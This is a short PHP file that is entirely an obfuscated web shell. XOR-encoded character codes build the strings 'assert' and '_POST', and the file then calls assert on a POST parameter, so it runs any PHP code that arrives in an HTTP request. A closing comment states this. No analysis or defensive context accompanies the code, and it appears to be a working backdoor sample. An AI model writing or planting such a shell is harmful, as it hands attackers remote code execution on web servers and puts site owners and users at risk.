<?php
$_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`');
$__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);
?>